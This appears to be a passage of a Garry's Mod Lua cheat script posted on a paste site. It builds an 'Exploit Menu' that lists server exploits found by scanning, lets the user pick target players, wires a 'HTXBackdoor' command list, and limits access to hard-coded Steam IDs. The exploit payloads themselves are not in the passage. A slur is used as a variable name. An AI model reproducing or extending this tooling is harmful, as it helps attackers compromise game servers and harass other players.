  2184. target2:SetText("Aucun")
  2185. target2:SetTextColor(Color(255, 255, 255, 255))
  2186. target2.Paint = function(panel, w, h)
  2187. surface.SetDrawColor(100, 100, 100 ,255)
  2188. surface.DrawOutlinedRect(0, 0, w, h)
  2189. surface.SetDrawColor(0, 0, 50 ,155)
  2190. surface.DrawRect(0, 0, w, h)
  2191. end
  2192. target2.DoClick = function()
  2193. table.Empty( plytab )
  2194. iZNX.Store( addr, plytab )
  2195. end
  2196. local target3 = vgui.Create("DButton", iZNX.PlayerSelector )
  2197. target3:SetSize( 40, 20 )
  2198. target3:SetPos( 100, 23 )
  2199. target3:SetText("Moi")
  2200. target3:SetTextColor(Color(255, 255, 255, 255))
  2201. target3.Paint = function(panel, w, h)
  2202. surface.SetDrawColor(100, 100, 100 ,255)
  2203. surface.DrawOutlinedRect(0, 0, w, h)
  2204. surface.SetDrawColor(0, 0, 50 ,155)
  2205. surface.DrawRect(0, 0, w, h)
  2206. end
  2207. target3.DoClick = function()
  2208. table.Empty( plytab )
  2209. table.insert( plytab, LocalPlayer() )
  2210. iZNX.Store( addr, plytab )
  2211. end
  2212. local target4 = vgui.Create( "DTextEntry", iZNX.PlayerSelector )
  2213. target4:SetPos( 145, 23 )
  2214. target4:SetSize( 95, 20 )
  2215. target4:SetText( "" )
  2216. target4.OnChange = function( self )
  2217. local nam = self:GetValue()
  2218. local namtab = string.Explode( ", ", nam )
  2219. table.Empty( plytab )
  2220. for _, pl in pairs( player.GetAll() ) do
  2221. for _, s in pairs( namtab ) do
  2222. if string.find( string.lower( pl:Nick() ), s ) then
  2223. table.insert( plytab, pl )
  2224. end
  2225. end
  2226. end
  2227. iZNX.Store( addr, plytab )
  2228. end
  2229. for k, v in pairs( player.GetAll() ) do
  2230. local plypanel2 = vgui.Create( "DPanel" )
  2231. plypanel2:SetPos( 0, 0 )
  2232. plypanel2:SetSize( 200, 25 )
  2233. local teamcol = team.GetColor( v:Team() )
  2234. plypanel2.Paint = function( s, w, h )
  2235. if !v:IsValid() then return end
  2236. surface.SetDrawColor( Color(30, 30, 30, 245) )
  2237. surface.DrawRect( 0, 0, w, h )
  2238. surface.SetDrawColor( teamcol )
  2239. surface.DrawRect( 0, h - 3, w, 3 )
  2240. surface.SetDrawColor( Color(55, 55, 55, 245) )
  2241. surface.DrawOutlinedRect( 0, 0, w, h )
  2242. if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
  2243. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2244. end
  2245. local plyname = vgui.Create( "DLabel", plypanel2 )
  2246. plyname:SetPos( 10, 5 )
  2247. plyname:SetFont( "Trebuchet18" )
  2248. local tcol = Color( 255, 255, 255 )
  2249. if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
  2250. plyname:SetColor( tcol )
  2251. plyname:SetText( v:Nick() )
  2252. plyname:SetSize(180, 15)
  2253. local faggot = vgui.Create("DButton", plypanel2 )
  2254. faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  2255. faggot:SetPos( 0, 0 )
  2256. faggot:SetText("")
  2257. faggot.Paint = function(panel, w, h)
  2258. return
  2259. end
  2260. faggot.DoClick = function()
  2261. if table.HasValue( plytab, v ) then
  2262. table.RemoveByValue( plytab, v )
  2263. else
  2264. table.insert( plytab, v )
  2265. end
  2266. iZNX.Store( addr, plytab )
  2267. end
  2268. Plist:AddItem( plypanel2 )
  2269. end
  2270. end
  2271. function iZNX.MakeTextInputButton( parent, x, y, btext, default, addr)
  2272. if !parent:IsValid() then return end
  2273. local hostframe = vgui.Create( "DPanel", parent )
  2274. hostframe:SetPos( x, y )
  2275. hostframe.Paint = function( self, w, h )
  2276. surface.SetDrawColor( Color(60, 60, 60, 200) )
  2277. surface.DrawRect( 0, 0, w, h )
  2278. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2279. surface.SetMaterial( downgrad )
  2280. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2281. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2282. surface.DrawOutlinedRect( 0, 0, w, h )
  2283. end
  2284. local tttt = vgui.Create( "DLabel", hostframe )
  2285. tttt:SetPos( 5, 5 )
  2286. tttt:SetText( btext )
  2287. tttt:SizeToContents()
  2288. local tentry = vgui.Create( "DTextEntry", hostframe )
  2289. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  2290. tentry:SetSize( 130, 20 )
  2291. tentry:SetText( iZNX.GetStored( addr, default ) )
  2292. tentry.OnChange = function( self )
  2293. iZNX.Store( addr, self:GetValue() )
  2294. end
  2295. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  2296. return hostframe:GetWide(), hostframe:GetTall()
  2297. end
  2298. function iZNX.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  2299. if !parent:IsValid() then return end
  2300. local hostframe = vgui.Create( "DPanel", parent )
  2301. hostframe:SetPos( x, y )
  2302. hostframe.Paint = function( self, w, h )
  2303. surface.SetDrawColor( Color(60, 60, 60, 200) )
  2304. surface.DrawRect( 0, 0, w, h )
  2305. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2306. surface.SetMaterial( downgrad )
  2307. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2308. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2309. surface.DrawOutlinedRect( 0, 0, w, h )
  2310. end
  2311. local tttt = vgui.Create( "DLabel", hostframe )
  2312. tttt:SetPos( 5, 5 )
  2313. tttt:SetText( btext )
  2314. tttt:SizeToContents()
  2315. local wangmeoff = vgui.Create( "DNumberWang", hostframe )
  2316. wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
  2317. wangmeoff:SetSize( 75, 20 )
  2318. wangmeoff:SetDecimals( 2 )
  2319. wangmeoff:SetMinMax( min , max )
  2320. wangmeoff:SetValue( iZNX.GetStored( addr, default ) )
  2321. wangmeoff:SetAllowNonAsciiCharacters(false)
  2322. wangmeoff.OnValueChanged = function( self, val )
  2323. iZNX.Store( addr, self:GetValue() )
  2324. end
  2325. hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
  2326. return hostframe:GetWide(), hostframe:GetTall()
  2327. end
  2328. local FillFrameRates = RatesScaleLevel
  2329. concommand.Add( "exploit_menu", function()
  2330. if FillFrameRates == "STEAM_0:1:80447668" or FillFrameRates == "STEAM_0:0:315052913" or FillFrameRates == "STEAM_0:1:59575261" or FillFrameRates == "STEAM_0:1:160860743" or FillFrameRates == "STEAM_0:1:216407320"
  2331. then iZNX.Menu = vgui.Create("DFrame")
  2332. iZNX.Menu:SetSize(700,550)
  2333. iZNX.Menu:SetTitle("")
  2334. iZNX.Menu:Center()
  2335. iZNX.Menu:MakePopup()
  2336. iZNX.Menu.gay = table.Count( iZNX.sploits )
  2337. iZNX.Menu.Paint = function( s, w, h )
  2338. surface.SetDrawColor( Color(30, 30, 30, 245) )
  2339. surface.DrawRect( 0, 0, w, h )
  2340. surface.SetDrawColor( Color(55, 55, 55, 245) )
  2341. surface.DrawOutlinedRect( 0, 0, w, h )
  2342. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2343. surface.SetDrawColor( Color(0, 0, 0, 200) )
  2344. surface.DrawRect( 80, 25, w - 90, h - 35 )
  2345. surface.SetDrawColor( Color(100, 100, 100, 200) )
  2346. surface.DrawLine( 10, 25, 40, 30 )
  2347. surface.DrawLine( 40, 30, 70, 25 )
  2348. surface.DrawLine( 10, 25, 25, 40 )
  2349. surface.DrawLine( 55, 40, 70, 25 )
  2350. surface.DrawLine( 25, 40, 25, 60 )
  2351. surface.DrawLine( 55, 40, 55, 60 )
  2352. surface.DrawLine( 25, 60, 40, 70 )
  2353. surface.DrawLine( 55, 60, 40, 70 )
  2354. draw.DrawText( "Exploit Menu\nExploit(s): "..iZNX.Menu.gay, "default", 8, 85, Color(255,255,255, 30) )
  2355. end
  2356. local Plist = vgui.Create( "DPanelList", iZNX.Menu )
  2357. Plist:SetSize( iZNX.Menu:GetWide() - 90, iZNX.Menu:GetTall() - 35 )
  2358. Plist:SetPadding( 5 )
  2359. Plist:SetSpacing( 5 )
  2360. Plist:EnableHorizontal( false )
  2361. Plist:EnableVerticalScrollbar( true )
  2362. Plist:SetPos( 80, 25 )
  2363. Plist:SetName( "" )
  2364. iZNX.MakeFunctionButton( iZNX.Menu, 10, 130, "Load Config", iZNX.LoadConfig, "Charger une Config" )
  2365. iZNX.MakeFunctionButton( iZNX.Menu, 10, 160, "Save Config", iZNX.SaveConfig, "Sauvegarder la Config" )
  2366. local function CreateSploitPanel( name, t )
  2367. if !iZNX.Menu then return end
  2368. local cmdp = vgui.Create( "DPanel" )
  2369. cmdp:SetSize( Plist:GetWide(), 70 )
  2370. cmdp.Cmd = name
  2371. cmdp.Desc = t.desc
  2372. cmdp.Paint = function( s, w, h )
  2373. surface.SetDrawColor( Color(50, 50, 50, 245) )
  2374. surface.DrawRect( 0, 0, w, h )
  2375. surface.SetDrawColor( severitycols[t.severity] )
  2376. surface.DrawOutlinedRect( 0, 0, w, h )
  2377. surface.DrawLine( 0, 24, w, 24 )
  2378. draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
  2379. draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
  2380. end
  2381. local x = 10
  2382. for _, tab in ipairs( t.functions ) do
  2383. if tab.typ == "func" then
  2384. x = (x + 5) + iZNX.MakeFunctionButton( cmdp, x, 42, tab.name, tab.func )
  2385. elseif tab.typ == "players" then
  2386. x = (x + 5) + iZNX.MakePlayerSelectionButton( cmdp, x, 42, tab.addr )
  2387. elseif tab.typ == "htxcommandeliste" then
  2388. x = (x + 5) + iZNX.HTXBackdoor( cmdp, x, 42, tab.name )
  2389. elseif tab.typ == "string" then
  2390. x = (x + 5) + iZNX.MakeTextInputButton( cmdp, x, 42, tab.name, tab.default, tab.addr )
  2391. if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
  2392. elseif tab.typ == "float" then
  2393. x = (x + 5) + iZNX.MakeNumberInputButton( cmdp, x, 42, tab.name, tab.default, tab.min, tab.max, tab.addr )
  2394. if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
  2395. end
  2396. end
  2397. Plist:AddItem( cmdp )
  2398. end
  2399. for k, v in pairs( iZNX.sploits ) do
  2400. if v.scan() then CreateSploitPanel( k, v ) end
  2401. end
  2402. else
  2403. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2404. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2405. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2406. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2407. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2408. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2409. return end
  2410. end)
  2411. end -- ne pas toucher cac checker end !!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement